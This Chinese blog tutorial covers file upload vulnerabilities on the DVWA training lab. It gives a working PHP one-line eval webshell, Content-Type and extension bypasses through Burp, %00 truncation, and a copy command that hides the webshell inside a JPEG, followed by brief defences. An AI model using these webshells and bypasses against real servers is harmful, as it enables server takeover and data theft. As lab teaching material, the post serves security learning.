Web安全领域的探索之文件上传漏洞

文章详细介绍了文件上传漏洞的原理、危害,以及在不同安全级别下DVWA平台的绕过方法,包括Content-Type篡改和使用图片马。同时,提出了防御措施,如使用白名单验证文件类型和安全编程。此外,文章还强调了网络安全学习的重要性,提供了一系列学习资源。
摘要由CSDN通过智能技术生成

原理

  • 文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、改头像、分享图片等。

  • 文件上传漏洞是在开发者没有做充足验证(包括前端,后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等。

  • 即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,ApacheTomcatNginx等都曝出过文件上传漏洞。

危害


1、文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等 
2、正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回 
3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell 
4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网 
5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制 

演示

DVWA File Upload
  • Low级别

  • basename( ) 函数返回路径中的文件名部分。

  • move_uploaded_file( ) 函数把上传的文件移动到新位置。如果成功该函数返回TRUE,如果失败则返回 FALSE

  • 没有对上传做任何限制

  • 攻击

  • 上传webshell

1.首先dvwa环境开启,然后准备一个一句话木马的php文件,代码为<?php @eval($_POST['lin92n']);?>,随便命名为1.php

2.发现直接上传超过,没有做限制,然后根据提示的路径拿中国菜刀连接一下

3.连接成功

DVWA File Upload

  • Medium级别

  • Low基础上使用文件上传时的Content-Type字段判断文件是否为jpeg或 是png格式的图片。

  • 限制上传文件的大小为10000B(约为97.6KB

  • 绕过方法

  • 抓包修改Content-Type字段

  • 使用 %00截断,php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用 %00截断,所以可以把上传文件命名为hack.php%00(需要URLdecode).png

法一:
1.首先试验一下之前的1.php,发现不行

2.然后由于它需要检测是不是图片,所以我们可以尝试把1.php的后缀改成jpg,然后通过burp抓包改回php

3.抓包成功,我们注意这个后缀,把它改成php,然后释放

4.回到界面,发现上传超过,再次使用菜刀进行连接

5.连接成功
法二:
1.我们还可以通过修改mime类型来绕过,还是使用1.php,我们先用1.php上传,然后burp抓包

2.这次我们修改下面的Content-Type,改为image/jpeg,这样如果它是通过Content-Type来识别所上传的文件是否是图片的话,那就刚好可以绕过

3.修改之后放包,回到界面查看,ok,上传成功,然后拿菜刀连接一下,也是可以连接的

DVWA File Upload

  • High级别

  • Medium基础上,改用后缀名来判断文件类型。

  • getimagesize( ) 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

  • 绕过

  • 制作图片木马,将图片的头字段信息以二进制方式加到php文件头部。

  • **copy 1.jpg/b+php.php/a 1.php**

  • 使用 %00截断,但是strrpos函数在寻找最后一个.时也被截断。

1.这一关尝试一下之前的绕过方法,发现均不可以,我们可以使用图片马的形式上传,所谓图片马就是将一句话木马插入到图片当中,我们借助windows的命令,linux也有相关命令,这里只演示windows,准备好一个图片test.jpg,一句话木马文件1.php,使用命令copy test.jpg/b + 1.php/a 1.jpg生成1.jpg图片

2.然后我们发现这个图片马也可以当成正常图片浏览,但是我们用记事本打开,然后拉到最后一行,发现里面有一句话木马
3.我们将图片马上传,发现成功上传

4.用菜刀连接,成功

DVWA File Upload

Impossible级别

  • 使用了imagecreatefromjpeg创建一张图片,对传入的图片进行重新编码,去掉与图片不相关的信息,最后将处理后的文件保存。

防御措施

0.文件类型检测:白名单 优于 黑名单

1.使用安全的函数进行编程

2.熟悉业务部署环境的OS、Web Server配置

### 如何入门网络安全

#### 建议

多看书

阅读永远是最有效的方法,尽管书籍并不一定是最好的入门方式,但书籍的理解需要一定的基础;但是就目前来看,书籍是比较靠谱的入门资料。

现在Web安全书籍比较多,因此大家在学习的过程中可以少走了不少的弯路。如果以上推荐书籍阅读有困难,那就找自己能看得进的 Web 安全的书

当然纸上谈兵终觉浅,最好还是实践一下。

对于那些没有学习方向和资料的同学,可以看下我整理的资源,这份资料经历过社会的实践,可以说是当下全网较全的网络安全知识体系:

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

努力的Kiko君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值